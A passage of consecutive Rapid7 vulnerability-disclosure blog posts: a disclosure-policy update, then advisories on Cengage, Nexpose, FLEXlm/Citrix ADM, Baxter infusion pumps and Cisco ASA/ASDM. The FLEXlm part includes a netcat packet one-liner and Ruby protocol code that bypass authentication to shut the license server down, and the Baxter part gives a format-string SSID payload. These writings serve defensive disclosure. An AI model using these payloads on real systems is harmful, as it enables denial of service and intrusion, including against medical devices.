Wed, Dec 7, 2022 – F5 forwarded to the F5 Product Engineering team for analysis
Thu, Dec 22, 2022 – F5 confirmed the issue and has started working on a fix
Wed, Jan 4, 2023 – Issue reported to CERT/CC (VRF#23-01-TVJZN)
Wed, Jan 18, 2023 – F5 provided a draft security advisory, CVSS scoring, and CVE-2023-22374 reservation
Wed, Feb 1, 2023 – This public disclosure and F5’s advisory published
As 2023 comes hurtling towards us like some kind of maniacal arctic train full of disturbingly realistic AI-generated people, I wanted to take a moment on the blog here to announce that we here at Rapid7, Inc. have refreshed our coordinated vulnerability disclosure (CVD) policy and philosophy. If you just want the precise details, you can head on over to the refreshed CVD page. Otherwise, read on if you want some more explanation of why we’re updating our CVD policy.
A Cohesive Philosophy
Rapid7, as you might expect, is chock full of security researchers—part time, full time, hobbyists, and professionals alike—and so, we frequently come across software vulnerabilities that we’d like to see fixed. These bugs might exist in specialized environments, in the cloud, in the hands of end-users, or in enterprise data centers. The vulnerabilities themselves might be widely exploited in the wild or they might be hard to trigger. Sometimes, the vulnerability itself might be technically a violation of security principles, but the practical effect of its exploitation will be kind of “meh.”
And on and on. It turns out, our old “one size fits all” style of CVD just wasn’t cutting it, as we ran into more and more edge cases when it came to the kinds of vulnerabilities we learn about. Recognizing that, we thought it would be helpful to come up with some broad strokes of what we intend to accomplish and offer up what we expect to do in most cases. From there, we could enumerate all the edge cases we could think of (and have experienced) and document how those cases are different from the usual flow of vulnerability disclosure.
So, far starters, we put together this (fairly pithy) reasoning of why we participate in coordinated vulnerability disclosure in the first place:
We believe in strengthening defense by democratizing access to attacker tooling and knowledge. One of Rapid7’s unique strengths is our deep knowledge of how attackers work. Our vulnerability research and Metasploit teams strive to make attacker capabilities, that would otherwise be used primarily by criminals, accessible to all. This enables defenders to understand and prioritize critical vulnerabilities, develop detections and mitigations, and test security controls. Releasing public exploit code and novel research is core to our mission to close the security achievement gap.
Public disclosure of vulnerabilities is a critical component of a healthy cybersecurity ecosystem. Rapid7 advocates for, and practices, timely public disclosure of vulnerabilities across both third-party products and our own systems and solutions. This includes vulnerabilities we independently discover in our customers’ tech stacks. Through transparent, open, and timely vulnerability disclosures, Rapid7 is able to assist the entire internet in protecting and defending those assets and services critical to modern civilization.
Organizations need timely information about risk in order to make educated choices about protecting their networks—especially during active attacks. Our vulnerability disclosure policy includes specific provisions for expediting public disclosure in cases where exploitation has been observed in the wild. Vendors often (understandably) act to protect their own businesses and reputations when there are security issues in their products that introduce risk into their downstream customers’ environments. When we know about exploitation in the wild, or when we believe that threat actors may be covertly weaponizing non-public vulnerabilities, our priority is to alert customers and the community so they may take action to protect their organizations.
The Basic CVD
Building from that, we’ve updated and articulated what is “normal” in vulnerability disclosure, in the form of a five-point guide to what everyone should expect from Rapid7. You can read the exact wording at https://www.rapid7.com/security/disclosure (it may change slightly over time), but to summarize, our basic, standard approach will be to:
Keep things confidential at first;
Reserve a CVE ID;
Tell CERT/CC after 15 days;
Publish about it after 60 days; and
Encourage the release of a fix
Rapid7 will also:
Offer extensions on disclosure timelines (within reason)
Publish if the software maintainer publishes, and
Not hold things up if there are duplicate reports
That all seems pretty normal in cybersecurity, and reflects industry standards as promulgated by the likes of ISO 29147 and ISO 30111. Internally, we’ve been calling this the “potato case,” since it’s the basis of all sorts of variations and permutations. And, like a potato—which you might dice, slice, pan-fry, bake, mash, pressure cook, season, gravy, butter, and on and on—we can take this base policy and tweak it just a little to get where we need to be for all the edge cases in CVD.
Edge Cases (edginess not guaranteed)
Okay, enough potato talk. Getting hungry.
Vulnerabilities cause unintended conditions and undefined behaviors, and so our CVD should anticipate curve-balls and weird circumstances. We break out six classes of vulnerabilities (and a meta-classification of “more than one”) and slightly alter the standard case per circumstance:
Exploited in the Wild:When vulnerabilities are being actively exploited, time is of the essence so that defenders can ramp up and start defending, right now. It would be pretty irresponsible to sit on our hands for 60 days in this case, so expect a bulletin inside a couple of days instead of two months.
Patch Bypasses:If a patch doesn’t do the job and a bypass is discovered, we will want to move a little faster, and also, make sure there’s a new CVE ID to describe it. Recycling CVE IDs causes vulnerability management systems all kinds of headaches.
Cloud/Hosted Vulnerabilities:The cloud remains special, in that a fix to a SaaS product tends to mean that’s the end of it, and there’s sometimes little value in disclosure after the fact. However, it remains a possibility that there are some cases in which the learnings from a particular cloud vuln are worth talking about and raising awareness of (namely, for IOCs and logging artifacts to check to see if you’ve already been compromised).
Kinetic Vulnerabilities: These vulnerabilities are special since they have direct effect on life and limb; think of specialized medtech, vehicle safety systems, and the like. In these cases, we want to allow plenty of time for patches to get out there before we openly discuss all of the technical details.
Low-Impact Vulnerabilities: While every bug is sacred and special, some are, well, less special than others. In these cases, we wouldn’t bother with coordinating with CERT/CC (they have plenty of work to do), and we may not even publicly disclose them at all (beyond the private disclosure to the responsible organization).
Vulnerabilities with No Responsible Organizations: Sometimes, there are bugs in systems that nobody maintains anymore—abandonware and the like. In these cases, we will move a little faster on disclosure, in coordination with CERT/CC, mainly because we’re not waiting for a fix to be developed.
Multi-Faceted Vulnerabilities: If a bug checks more than one of the above boxes, a shorter timeline will apply. So, for example, if there’s some abandoned software that’s also being exploited right now, we’ll publish in just a couple days, rather than a month and a half.
Right now, those are all the cases we can think of, and they hit every vulnerability disclosure I’ve been a part of at Rapid7 over the last decade. Every time we’ve strayed from our (old) policy, it was due to one or more of these conditions. I expect that going forward, the way we approach CVD will be much more predictable and comfortable for everyone involved. Well, except for the criminals and spies that are using these vulns for evil, sorry, not sorry.
Patches Accepted
If you have any thoughts or feedback on this policy, hit us up at [email protected] and we’d be happy to hear it. Or, toot at me and/or Caitlin directly on Mastodon. Do note that we’ll be sticking to the much more precise language on our CVD page, since this blog post is *not* the greatest CVD in the world, it’s just a tribute.
As always, If you have a vulnerability to report on something that Rapid7 is responsible for, check our security.txt for contact details. Incidentally, do you have a security.txt file? Should you? They’re easy and fun to write and publish—see RFC 9116 for the details there; publishing a note of where to contact you sure makes the job of hearing about vulnerabilities in your products and services a whole lot easier.
Prior to December 10, 2022, Cengage, an education technology provider in use in many higher education environments primarily in the United States, had two issues in the way it handled session management over its Learning Tools Integration (LTI) pipeline.
The first issue involves leaving unexpectedly long-lived sessions and accompanying login links in the end user’s browser history as well as via cached GET requests, which could be used by unauthenticated attackers to impersonate the user. This appears to be an instance of CWE-525, "Use of Web Browser Cache Containing Sensitive Information." This issue is estimated to have a CVSSv3 score of 4.5 (Medium). A fix for this issue is expected in March of 2023.
The second issue involves a failure to check the LTI launch signature from connected applications, which could allow an authenticated attacker to impersonate another user. This appears to be an instance of CWE-347, "Improper Verification of Cryptographic Signature." This issue is estimated to have a CVSSv3 score of 6.5 (Medium). Note, this issue has been fixed by the vendor.
Product Description
Cengage is an education technology provider offering digital products including eTextbooks, homework tools and online learning platforms (such as WebAssign). Cengage’s online learning platforms integrate with Learning Management Systems (LMS). For more information about Cengage’s LMS integrations, please visit the vendor’s website.
Credit
This issue was discovered by Tony Porterfield, Principal Cloud Solutions Architect at Rapid7, while observing a family member use the application as an end-user. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.
Exploitation
For the CWE-525 issue, it was observed that the "Cengage Single Sign-On" link was usable in the browser history, even though the user had already logged out of the application:
Clicking the circled link would log the user back in, and was active for at least an hour post-logout.
For the CWE-347 issue, it was observed that the signature check on an LTI launch request to https://gateway.cengage.com/rest/launchBasicLTI responds with a hidden form post containing the LTI parameters from https://gateway.cengage.com/launchBasicLTI/smartlink/basicLTILaunch.gwy as well as a field signatureVerified that is set to false if the signature is invalid. An end user could alter this response by setting signatureVerified to true, as shown below:
Once modified, the LTI session context would then be accepted by the server as authentic.
Impact
For the CWE-525 issue involving cached credentials, an attacker wishing to impersonate an authenticated user would either need to have access to the browser session of the targeted user, or access to network proxy logs which can cache these tokens (thus, implying a privileged position either locally or on the local network). Assuming this is the case, the attacker could go on to read and alter personal information involving the student. It appears possible to similarly hijack the sessions of instructors or administrators, but this hasn’t been tested or confirmed directly.
For the CWE-347 issue involving signature verification, an authenticated attacker may be able to assume sessions belonging to other users, possibly including other students, instructors, and administrators.
Vendor Statement
Cengage is continuously implementing and refining measures aimed to protect the privacy and security of the customer information entrusted to us. We value the contributions of security researchers like you, as reviews like this help us strengthen our security posture. We use multiple tools and processes, including DAST, SAST, penetration testing and VDP to identify and address security defects in our software.
[The CWE-347 issue] was fixed on December 9, 2022. The second issue is currently in remediation, and we plan to launch a fix as soon as possible.
We continually update and regularly identify ways we can improve our products both to better the learning experience for students and instructors and to ensure information remains secure. If you have found something you would like to report, please submit at https://bugcrowd.com/cengage-vdp.
Remediation
In December of 2022, Cengage released an update to its webassign.net service to address the CWE-347 (signature verification) issue, and is developing a fix for the CWE-525 issue, which we expect to see in March of 2023. Since this is a SaaS-based/cloud-hosted solution, end users, implementers, and integrators should not need to do anything to update or patch locally to address the signature verification issue — the latest version of the LTI implementation will already be available. Beyond this fix, end users have nothing to do to ensure they’re safe from impersonation, as they’re reliant on the provider to properly verify signatures.
While the SSO issue is being developed, end users would be wise to completely sign out of the local computer when complete with whatever academic tasks they were performing, as this would prevent opportunistic attackers from using stored session tokens locally. This is generally good advice anyway, even after the CWE-525 issue is resolved.
Avoiding caching session tokens inadvertently exposed through GET requests on a web proxy is more difficult for the average user to avoid, but as long as no untrusted users have access to proxy logs, the risk from exploiting proxy-cached session tokens is remote (an attacker who does have access to web proxies used by students, instructors, and administrators tend to already have more expansive offensive options).
Disclosure Timeline
September, 2022: Issue discovered by Tony Porterfield
Mon, Sep 12, 2022: Contacted Bugcrowd, Cengage’s VDP provider, to work out a disclosure agreement
Mon, Sep 19, 2022: Contact attempted to alternate contacts at Cengage
Wed, Sep 21, 2022: Agreement reached on disclosure terms
Thu, Sep 22, 2022: Vulnerability details communicated to Cengage via Bugcrowd with a public disclosure goal of November 15, 2022.
Fri, Sep 23, 2022: Triage begun at Bugcrowd (Issue 4464ed3d-3fb6-4287-ba46-786d21bebad0)
Sep 23 – Oct 25, 2022: Triage and reproduction work continued
Oct 26, 2022: Bugcrowd verified reproduction of the report
Nov 1, 2022: Extended disclosure time by approximately 30 days
Thu, Dec 15, 2022: Vendor provided update on fix status
On November 14, 2022, Rapid7’s product engineering team discovered that the mechanism used to validate the source of an update file was unreliable. This failure involving the internal cryptographic validation of received updates was designated as CVE-2022-4261, and is an instance of CWE-494. Rapid7’s estimate of the CVSSv3.1 base rating for this vulnerability for most environments is 4.4 (Medium). This issue is resolved in the regular December 7, 2022 release.
Product Description
Rapid7 Nexpose is an on-premise vulnerability scanner, used by many enterprises around the world to assess and manage the vulnerability exposures present in their networks. You can read more about Nexpose at our website.
Note that CVE-2022-4261 only affects the on-premise Nexpose product, and does not affect InsightVM.
Credit
This issue was discovered by Rapid7 Principal Software Engineer Emmett Kelly and validated by the Rapid7 Nexpose product team. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.
Exploitation
Exploitation of this issue is complex, and requires an attacker already in a privileged position in the network. By understanding these complications, we believe our customers will be better able to make appropriate judgements on the risk of delaying this update, perhaps due to established change control procedures.
In order to exploit CVE-2022-4261, an attacker would first need to be in a position to provide a malicious update to Nexpose, either through a privileged position on the network, on the local computer that runs Nexpose (with sufficient privileges to initiate an update), or by convincing a Nexpose administrator to apply a maliciously-crafted update through social engineering. Once applied, the update could introduce new functionality to Nexpose that would benefit the attacker.
Impact
Given the requirement of a privileged position on the network or local machine, exploiting CVE-2022-4261, in most circumstances, is academic. Such an adversary is likely to already have many other (and often easier) choices when it comes to leveraging this position to cause trouble on the target network. In the case of a local machine compromise (which is the most likely attack scenario), the attacker could use this position to instead create a fairly permanent ingress avenue to the internal network and exercise the usual lateral movement options documented as ATT&CK technique T1557.
Remediation
Disabling automatic updates completely removes the risk of exploitation of CVE-2022-4261. That said, most Nexpose administrators already employ Nexpose’s automated updates, and should apply updates either on their already established automated schedules or as soon as it’s convenient to do so.
Nexpose administrators that are especially concerned that they will be targeted during their next update, or who believe they have already been compromised by persistent attackers, should disable automatic updates and use the documented Managing Updates without an Internet Connection procedure to fix this issue, after manually validating the authenticity of the update package.
Fixing an update system with an update is always fairly complex, given the chicken-and-egg nature of the problem being addressed, as well as the risks involved in using an update system to fix an update system. So, it is out of an abundance of caution that we are publishing this advisory today to ensure that customers who rely on automatic updates are made plainly aware of this issue and can plan accordingly.
Disclosure Timeline
Mon, Nov 14, 2022: Issue discovered by Emett Kelly, and validated by the Nexpose product team.
Thu, Dec 1, 2022: CVE-2022-4261 reserved by Rapid7.
Wed, Dec 7, 2022 : This disclosure and update 6.6.172 released.
Rapid7 investigated these issues to better understand their impact, and found that the patch is not sufficient to prevent exploitation. We also determined that the worst outcome of this vulnerability is a denial of service – the licensing server can be told to shut down (even with the patch). We were not able to find a way to reset the admin password, as the original bulletin indicated.
In the course of investigating CVE-2022-27511 and CVE-2022-27512, we determined that the root cause of the issues in Citrix ADM was a vulnerable implementation of popular licensing software FLEXlm, also known as FlexNet Publisher. This disclosure addresses both the core issue in FLEXlm and Citrix ADM’s implementation of it (which resulted in both the original CVEs and later the patch bypass our research team discovered). Rapid7 coordinated disclosure with both companies and CERT/CC.
As of this publication, these issues remain unpatched, so IT defenders are urged to reach out to Revenera and Citrix for direct guidence on mitigating these denial of service vulnerabilities and CVE assignment.
Products
FLEXlm is a license management application that is part of FlexNet licensing, provided by Revenera’s Flexnet Software, and is used for license provisioning on many popular network applications, including Citrix ADM. You can read more about FlexNet at the vendor’s website.
Citrix ADM is an application provisioning solution from Citrix, which uses FLEXlm for license management. You can read more about Citrix ADM at the vendor’s website.
Citrix ADM runs on FreeBSD, and remote administrative logins are possible. Using that, we compared two different versions of the Citrix ADM server – before and after the patch.
Eventually, we went through each network service, one by one, to check what each one did and whether the patch may have fixed something. When we got to TCP port 27000, we found that lmgrd was running. Looking up lmgrd, we determined that it’s a licensing server made by FLEXlm called FlexNet Licensing (among other names), made by Revenera. Since the bulletin calls out licensing disruption, this seemed like a sensible place to look; from the bulletin:
Temporary disruption of the ADM license service. The impact of this includes preventing new licenses from being issued or renewed by Citrix ADM.
If we look at how lmgrd is executed before and after the patch, we find that the command line arguments changed; before:
If we look at some online documentation, we see that the -2 -p flags are security-related:
-2 -p Restricts usage of lmdown, lmreread, and lmremove to a FLEXlm administrator who is by default root. [...]
Patch Analysis
We tested a Linux copy of FlexNet 11.18.3.1, which allowed us to execute and debug Flex locally. Helpfully, the various command line utilities that FlexNet uses to perform actions (accessible via lmutil) use a TCP connection to localhost, allowing us to analyze the traffic. For example, the following command:
$ ./lmutil lmreread -c ./license/citrix_startup.lic
lmutil - Copyright (c) 1989-2021 Flexera. All Rights Reserved.
lmreread successful
Generates a lot of traffic going to localhost:27000, including:
If we start the service with the -2 -p flag, we can no longer run lmreread:
$ ./lmutil lmreread -c ./license/citrix_startup.lic
lmutil - Copyright (c) 1989-2021 Flexera. All Rights Reserved.
lmreread failed: You are not a license administrator. (-63,294)
That appears to be working as intended! Or does it?
Protocol Analysis
We spent a substantial amount of time reverse engineering FlexNet’s protocol. FlexNet uses a binary protocol with a lot of support and code paths for different (and deprecated) versions of the protocol. But we built a tool (that you can get on GitHub) that implements the interesting parts of the protocol.
It turns out, even ignoring the vulnerability, you can do a whole bunch of stuff against the FlexNet service, and none of it even requires authentication! For example, you can grab the path to the license file:
$ echo -ne "\x2f\x8a\x17\x2d\x00\x37\x01\x08\x41\x41\x41\x41\x42\x42\x42\x42\x43\x00\x44\x44\x01\x04\x72\x6f\x6f\x74\x00\x43\x69\x74\x72\x69\x78\x41\x44\x4d\x00\x6c\x6d\x67\x72\x64\x
00\x2f\x64\x65\x76\x2f\x70\x74\x73\x2f\x31\x00\x00" | nc -v 10.0.0.9 27000
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Connected to 10.0.0.9:27000.
L6194# DO NOT REMOVE THIS COMMENT LINE
# "のコメント行は削除しLK6060NEN
# NE SUPPRIMEZ PAS CETTE LIGNE DE COMMENTAIRE
# NO ELIMINAR ESTA LÍNL5926IX PORT=7279
And you can also remotely re-load the license file and shut down the service if the -p -2 flag is not set when the server starts. That’s the core of the original CVEs – that those flags aren’t used and therefore a remote user can take administrative actions.
Patch Bypass
The problem is, all of the security features (including declaring your username and privilege level) are client-side choices, which means that without knowing any secret information, the client can self-declare that they are privileged.
This is what the "authentication" message looks like in flexnet-tools.rb:
send_packet(0x2f, 0x0102,
"\x01\x04" + # If the `\x04` value here is non-zero, we are permitted to log in
"\x0b\x10" + # Read as a pair of uint16s
"\x00\x54" + # Read as single uint16
"\x00\x78" + # Read as single uint16
"\x00\x00\x16\x97" + # Read as uint32
"root\x00" +
"CitrixADM\x00" +
"/dev/pts/1\x00" +
"\x00" + # If I add a string here, the response changes
"x86_f8\x00" +
"\x01"
)
In that example, root is the username, and CitrixADM is the host. Those can be set to whatever the client chooses, and permissions and logs will reflect that. The first field, \x01\x04, is also part of the authentication process, where the \x04 value specifically enables remote authorization – while we found the part of the binary that reads that value, we are not clear what the actual purpose is.
By declaring oneself as root@CitrixADM (using that message), it bypasses the need to actually authenticate. The lmdown field, for shutting down the licensing server, has an addition required field:
when 'lmdown'
out = send_packet(0x2f, 0x010a,
"\x00" + # Forced?
"root\x00" + # This is used in a log message
"CitrixADM\x00" +
"\x00" +
"\x01\x00\x00\x7f" +
"\x00" +
(LOGIN ? "islocalSys" : "") + # Only attach islocalSys if we're logging in
"\x00"
)
The islocalSys value self-identifies the client as privileged, and therefore it is allowed to bypass the -2 -p flag and perform restricted actions. This bypasses the patch.
Impact
Remotely shutting down the FLEXlm licensing server can cause a denial of service condition in the software for which that licensing server is responsible. In this particular case, exploiting this vulnerability can cause a disruption in provisioning licenses through Citrix ADM.
Remediation
In the absence of a vendor-supplied patch, users of software that relies on FLEXlm should not expose port 27000/TCP to untrusted networks. Note that in many cases, this would remove the functionality of the license server entirely.
Disclosure Timeline
This issue was disclosed in accordance with Rapid7’s [vulnerability disclosure] policy(https://www.rapid7.com/security/disclosure/#zeroday), but with a slightly faster initial release to CERT/CC, due to the multivendor nature of the issue.
June, 2022: Issues discovered and documented by Rapid7 researcher Ron Bowes
Tue, Jul 5, 2022: Disclosed to Citrix via their PSIRT team
Thu, Jul 7, 2022: Disclosed to Flexera via their PSIRT team
Wed, Jul 12, 2022: Disclosed to CERT/CC (VU#300762)
July – October, 2022: Disclosure discussions between Rapid7, Citrix, Flexera, and CERT/CC through VINCE (Case 603).
Rapid7 initially reported these issues to Baxter on April 20, 2022. Since then, members of our research team have worked alongside the vendor to discuss the impact, resolution, and a coordinated response for these vulnerabilities.
Product description
Baxter’s SIGMA Spectrum product is a commonly used brand of infusion pumps, which are typically used by hospitals to deliver medication and nutrition directly into a patient’s circulatory system. These TCP/IP-enabled devices deliver data to healthcare providers to enable more effective, coordinated care.
Credit
The vulnerabilities in two TCP/IP-enabled medical devices were discovered by Deral Heiland, Principal IoT Researcher at Rapid7. They are being disclosed in accordance with Rapid7’s vulnerability disclosure policy after coordination with the vendor.
Vendor statement
“In support of our mission to save and sustain lives, Baxter takes product security seriously. We are committed to working with the security researcher community to verify and respond to legitimate vulnerabilities and ask researchers to participate in our responsible reporting process. Software updates to disable Telnet and FTP (CVE-2022-26392) are in process. Software updates to address the format string attack (CVE-2022-26393) are addressed in WBM version 20D30 and all other WBM versions. Authentication is already available in Spectrum IQ (CVE-2022-26394). Instructions to erase all data and settings from WBMs and pumps before decommissioning and transferring to other facilities (CVE-2022-26390) are in process for incorporation into the Spectrum Operator’s Manual and are available in the Baxter Security Bulletin.”
Exploitation and remediation
This section details the potential for exploitation and our remediation guidance for the issues discovered and reported by Rapid7, so that defenders of this technology can gauge the impact of, and mitigations around, these issues appropriately.
Battery units store Wi-Fi credentials (CVE-2022-26390)
Rapid7 researchers tested Spectrum battery units for vulnerabilities. We found all units that were tested store Wi-Fi credential data in non-volatile memory on the device.
When a Wi-Fi battery unit is connected to the primary infusion pump and the infusion pump is powered up, the pump will transfer the Wi-Fi credential to the battery unit.
Exploitation
An attacker with physical access to an infusion pump could install a Wi-Fi battery unit (easily purchased on eBay), and then quickly power-cycle the infusion pump and remove the Wi-Fi battery – allowing them to walk away with critical Wi-Fi data once a unit has been disassembled and reverse-engineered.
Also, since these battery units store Wi-Fi credentials in non-volatile memory, there is a risk that when the devices are de-acquisitioned and no efforts are made to overwrite the stored data, anyone acquiring these devices on the secondary market could gain access to critical Wi-Fi credentials of the organization that de-acquisitioned the devices.
Remediation
To mitigate this vulnerability, organizations should restrict physical access by any unauthorized personnel to the infusion pumps or associated Wi-Fi battery units.
In addition, before de-acquisitioning the battery units, batteries should be plugged into a unit with invalid or blank Wi-Fi credentials configured and the unit powered up. This will overwrite the Wi-Fi credentials stored in the non-volatile memory of the batteries. Wi-Fi must be enabled on the infusion pump unit for this overwrite to work properly.
Format string vulnerabilities
“Hostmessage” (CVE-2022-26392)
When running a telnet session on the Baxter Sigma Wi-Fi Battery Firmware Version 16, the command “hostmessage” is vulnerable to format string vulnerability.
Exploitation
An attacker could trigger this format string vulnerability by entering the following command during a telnet session:
To view the output of this format string vulnerability, `settrace state=on` must be enabled in the telnet session. `set trace` does not need to be enabled for the format string vulnerability to be triggered, but it does need to be enabled if the output of the vulnerability is to be viewed.
Once `set trace` is enabled and showing output within the telnet session screen, the output of the vulnerability can be viewed, as shown below, where each `%x` returned data from the device’s process stack.
SSID (CVE-2022-26393)
Rapid7 also found another format string vulnerability on Wi-Fi battery software version 20 D29. This vulnerability is triggered within SSID processing by the `get_wifi_location (20)` command being sent via XML to the Wi-Fi battery at TCP port 51243 or UDP port 51243.
Exploitation
This format string vulnerability can be triggered by first setting up a Wi-Fi access point containing format string specifiers in the SSID. Next, an attacker could send a `get_wifi_location (20)` command via TCP Port 51243 or UDP port 51243 to the infusion pump. This causes the device to process the SSID name of the access point nearby and trigger the exploit. The results of the triggering of format strings can be viewed with trace log output within a telnet session as shown below.
The SSID of `AAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x` allows for control of 4 bytes on the stack, as shown above, using the `%x` to walk the stack until it reaches 41414141. By changing the leading `AAAA` in the SSID, a malicious actor could potentially use the format string injection to read and write arbitrary memory. At a minimum, using format strings of `%s` and `%n` could allow for a denial of service (DoS) by triggering an illegal memory read (`%s`) and/or illegal memory write (`%n`).
Note that in order to trigger this DoS effect, the attacker would need to be within normal radio range and either be on the device’s network or wait for an authorized `get_wifi_location` command (the latter would itself be a usual, non-default event).
Remediation
To prevent exploitation, organizations should restrict access to the network segments containing the infusion pumps. They should also monitor network traffic for any unauthorized host communicating over TCP and UDP port 51243 to infusion pumps. In addition, be sure to monitor Wi-Fi space for rogue access points containing format string specifiers within the SSID name.
Unauthenticated network reconfiguration via TCP/UDP (CVE-2022-26394)
All Wi-Fi battery units tested (versions 16, 17, and 20 D29) allowed for remote unauthenticated changing of the SIGMA GW IP address. The SIGMA GW setting is used for configuring the back-end communication services for the devices operation.
Exploitation
An attacker could accomplish a remote redirect of SIGMA GW by sending an XML command 15 to TCP or UDP port 51243. During testing, only the SIGMA GW IP was found to be remotely changeable using this command. An example of this command and associated structure is shown below:
This could be used by a malicious actor to man-in-the-middle (MitM) all the communication initiated by the infusion pump. This could lead to information leakage and/or data being manipulated by a malicious actor.
Remediation
Organizations using SIGMA Spectrum products should restrict access to the network segments containing the infusion pumps. They should also monitor network traffic for any unauthorized host communicating over TCP and UDP port 51243 to the infusion pumps.
UART configuration access to Wi-Fi configuration data (additional finding)
The SIGMA Spectrum infusion pump unit transmits data unencrypted to the Wi-Fi battery unit via universal asynchronous receiver-transmitter (UART). During the power-up cycle of the infusion pump, the first block of data contains the Wi-Fi configuration data. This communication contains the SSID and 64-Character hex PSK.
Exploitation
A malicious actor with physical access to an infusion pump can place a communication shim between the units (i.e., the pump and the Wi-Fi battery) and capture this data during the power-up cycle of the unit.
Remediation
To help prevent exploitation, organizations should restrict physical access by unauthorized persons to the infusion pumps and associated Wi-Fi battery units.
Note that this is merely an additional finding based on physical, hands-on access to the device. While Baxter has addressed this finding through better decommissioning advice to end users, this particular issue does not rank for its own CVE identifier, as local encryption is beyond the scope of the hardware design of the device.
Disclosure timeline
Baxter is an exemplary medical technology company with an obvious commitment to patient and hospital safety. While medtech vulnerabilities can be tricky and expensive to work through, we’re quite pleased with the responsiveness, transparency, and genuine interest shown by Baxter’s product security teams.
April, 2022: Issues discovered by Deral Heiland of Rapid7
Rapid7 discovered vulnerabilities and “non-security” issues affecting Cisco Adaptive Security Software (ASA), Adaptive Security Device Manager (ASDM), and FirePOWER Services Software for ASA. Rapid7 initially reported the issues to Cisco in separate disclosures in February and March 2022. Rapid7 and Cisco continued discussing impact and resolution of the issues through August 2022. The following table lists the vulnerabilities and the last current status that we were able to verify ourselves. Note: Cisco notified Rapid7 as this blog was going to press that they had released updated software. We have been unable to verify these fixes, but have marked them with ** in the table.
For information on vulnerability checks in InsightVM and Nexpose, please see the Rapid7 customers section at the end of this blog.
Description
Identifier
Status
Cisco ASDM binary packages are not signed. A malicious ASDM package can be installed on a Cisco ASA resulting in arbitrary code execution on any client system that connects to the ASA via ASDM.
The Cisco ASDM client does not verify the server’s SSL certificate, which makes it vulnerable to man-in-the-middle (MITM) attacks.
None
Not fixed
Cisco ASDM client sometimes logs credentials to a local log file. Cisco indicated this was a duplicate issue, although they updated CVE-2022-20651’s affected versions to include the version Rapid7 reported and issued a new release of ASDM (7.17.1.155) in June.
Cisco ASDM client is affected by an unauthenticated remote code execution vulnerability. The issue was originally reported by Malcolm Lashley and was disclosed without a fix by Cisco in July 2021. Cisco reported this issue was fixed in ASDM 7.18.1.150, but Rapid7 has informed Cisco that the issue was in fact not addressed and remains unfixed. Cisco sent a new build for testing prior to publication of this blog, but because of time constraints we were unable to test it.
Cisco ASDM binary package contains an unsigned Windows installer. The ASDM client will prompt the user to execute the unsigned installer or users are expected to download the installer from the ASA and execute it. This is an interesting code execution mechanism to be used with CVE-2022-20829 or CVE-2021-1585.
Cisco ASA-X with FirePOWER Services is vulnerable to an authenticated, remote command injection vulnerability. Using this vulnerability allows an attacker to gain root access to the FirePOWER module.
Cisco FirePOWER module before 6.6.0 allowed a privileged Cisco ASA user to reset the FirePOWER module user’s password. A privileged Cisco ASA user could bypass the FirePOWER module login prompt to gain root access on the FirePOWER module.
Cisco FirePOWER module boot images before 7.0.0 allow a privileged Cisco ASA user to obtain a root shell via command injection or hard-coded credentials.
Cisco ASA with FirePOWER Services loads and executes arbitrary FirePOWER module boot images. The ASA does not restrict the use of old boot images or even the use of boot images that weren’t created by Cisco. This could result in code execution from a malicious boot image.
None
Not fixed
Some Cisco FirePOWER module boot images support the installation of unsigned FirePOWER installation packages. This could result in code execution from a malicious package.
None
Not fixed
** Denotes an advisory Cisco updated as this blog went to press.
Rapid7 will present the vulnerabilities, exploits, and tools at Black Hat USA and DEF CON on August 11 and August 13, respectively.
Product description
Cisco ASA Software is a “core operating system for the Cisco ASA Family.” Cisco ASA are widely deployed enterprise-class firewalls that also support VPN, IPS, and many other features.
Cisco ASDM is a graphical user interface for remote administration of appliances using Cisco ASA Software.
Of all the reported issues, Rapid7 believes the following to be the most critical.
CVE-2022-20829: ASDM binary package is not signed
The Cisco ASDM binary package is installed on the Cisco ASA. Administrators that use ASDM to manage their ASA download and install the Cisco ASDM Launcher on their Windows or macOS system. When the ASDM launcher connects to the ASA, it will download a large number of Java files from the ASA, load them into memory, and then pass execution to the downloaded Java.
The ASDM launcher installer, the Java class files, the ASDM web portal, and other files are all contained within the ASDM binary package distributed by Cisco. Rapid7 analyzed the format of the binary package and determined that it lacked any type of cryptographic signature to verify the package’s authenticity (see CWE-347). We discovered that we could modify the contents of an ASDM package, update a hash in the package’s header, and successfully install the package on a Cisco ASA.
The result is that an attacker can craft an ASDM package that contains malicious installers, malicious web pages, and/or malicious Java. An example of exploitation using a malicious ASDM package goes like this: An administrator using the ASDM client connects to the ASA and downloads/executes attacker-provided Java. The attacker then has access to the administrator’s system (e.g. the attacker can send themselves a reverse shell). A similar attack was executed by Slingshot APT against Mikrotik routers and the administrative tool Winbox.
The value of this vulnerability is high because the ASDM package is a distributable package. A malicious ASDM package might be installed on an ASA in a supply chain attack, installed by an insider, installed by a third-party vendor/administrator, or simply made available “for free” on the internet for administrators to discover themselves (downloading ASDM from Cisco requires a valid contract).
Rapid7 has published a tool, the way, that demonstrates extracting and rebuilding “valid” ASDM packages. The way can also generate ASDM packages with an embedded reverse shell. The following video demonstrates an administrative user triggering the reverse shell simply by connecting to the ASA.
Note: Cisco communicated on August 11, 2022 that they had released new software images that resolve CVE-2022-20829. We have not yet verified this information.
CVE-2021-1585: Failed patch
Rapid7 vulnerability research previously described exploitation of CVE-2021-1585 on AttackerKB. The vulnerability allows a man-in-the-middle or evil endpoint to execute arbitrary Java code on an ASDM administrator’s system via the ASDM launcher (similar to CVE-2022-20829). Cisco publicly disclosed this vulnerability without a patch in July 2021. However, at the time of writing, Cisco’s customer-only disclosure page for CVE-2021-1585 indicates that the vulnerability was fixed with the release of ASDM 7.18.1.150 in June 2022.
Rapid7 quickly demonstrated to Cisco that this is incorrect. Using our public exploit for CVE-2021-1585, staystaystay, Rapid7 was able to demonstrate the exploit works against ASDM 7.18.1.150 without any code changes.
The following video demonstrates downloading and installing 7.18.1.150 from an ASA and then using staystaystay to exploit the new ASDM launcher. staystaystay only received two modifications:
The version.prop file on the web server was updated to indicate the ASDM version is 8.14(1) to trigger the new loading behavior.
The file /public/jploader.jar was downloaded from the ASA and added to the staystaystay web server.
Additionally, ASDM 7.18.1.150 is still exploitable when it encounters older versions of ASDM on the ASA. The following shows that Cisco added a pop-up to the ASDM client indicating connecting to the remote ASA may be dangerous, but allows the exploitation to continue if the user clicks “Yes”:
